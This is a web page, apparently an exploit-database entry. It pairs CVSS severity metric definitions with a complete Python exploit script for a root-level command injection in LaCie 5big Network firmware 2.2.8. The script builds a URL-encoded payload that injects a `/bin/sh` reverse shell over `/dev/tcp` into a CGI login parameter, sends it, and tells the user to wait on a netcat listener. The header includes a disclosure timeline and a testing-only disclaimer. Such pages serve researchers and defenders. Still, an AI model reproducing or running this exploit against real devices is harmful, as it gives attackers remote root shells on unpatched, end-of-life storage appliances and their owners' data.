The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: LaCie 5big Network 2.2.8 Command Injection
#!/usr/bin/python
# Exploit Title: LaCie 5big Network 2.2.8 Command Injection
# Date: 2017-12-04
# Exploit Author: Timo Sablowski
# Contact: ${lastname}@tyntec.com
# Vendor Homepage: http://www.lacie.com
# Software Link: http://www.lacie.com/files/lacie-content/download/drivers/5%20Big%20Network.zip
# Version: 2.2.8
# Tested on: Linux
# Platform: Hardware
#
# Command Injection Vulnerability (with root privileges) in LaCie's
# 5big Network appliance running firmware version 2.2.8.
# Just open a netcat listener and run this script to receive a reverse
# shell to exploit the vulnerability.
#
# This exploit has been released to Seagate in accordance to their
# responsible disclosure program and is meant to be used for testing
# and educational purposes only.
# Please do not use it against any system without prior permission.
# Use at your own risk.
#
# Timeline:
# 2017-09-13: Discovery
# 2017-10-04: Reporting to Seagate
# asking to fix the issue until 2017-12-04
# 2017-11-07: Seagate stating to not fix the vulnerability as the
# product has been EOL for a long time
import sys, getopt, os, urllib
url_addition = "/cgi-bin/public/edconfd.cgi?method=getChallenge&login="
blank_payload = "admin|#' ||`/bin/sh -i > /dev/tcp/IP/PORT 0<&1 2>&1` #\\\""
def help():
print "Usage:"
print "%s -u <baseurl> -l <listener> -p <port>" %os.path.basename(sys.argv[0])
print ""
print "<baseurl> identifies the target's URL, e.g. http://10.0.0.1:8080"
print "<listener> sets the IP where the attacked system connects back to"
print "<port> defines the listening port"
print ""
print "Example: attack LaCie system to connect back to a remote machine (do not forget to open a netcat session)"
print "\t %s -u http://10.0.0.1 -l 192.168.0.1 -p 4444" %os.path.basename(sys.argv[0])
def create_payload(blank_payload, listener, port):
print "[+] Generating payload with IP %s and port %s" %(listener, str(port))
payload = blank_payload.replace("IP", listener).replace("PORT", str(port))
payload = urllib.quote(payload, safe='')
return payload
def send_payload(injected_url):
print "[+] Sending payload, this might take a few seconds ..."
print "[+] Check your listener"
try:
urllib.urlopen(injected_url)
except:
raise
def main():
try:
opts, args = getopt.getopt(sys.argv[1:],"hu:l:p:")
except:
help()
sys.exit(1)
for opt, arg in opts:
if opt == '-h':
help()
sys.exit()
elif opt in ("-u"):
url = arg
elif opt in ("-l"):
listener = arg
elif opt in ("-p"):
port = int(arg)
try:
url
listener
port
except:
help()
sys.exit(1)
payload = create_payload(blank_payload, listener, port)
injected_url = "%s%s%s" %(url, url_addition, payload)
send_payload(injected_url)
if __name__ == "__main__":
main()
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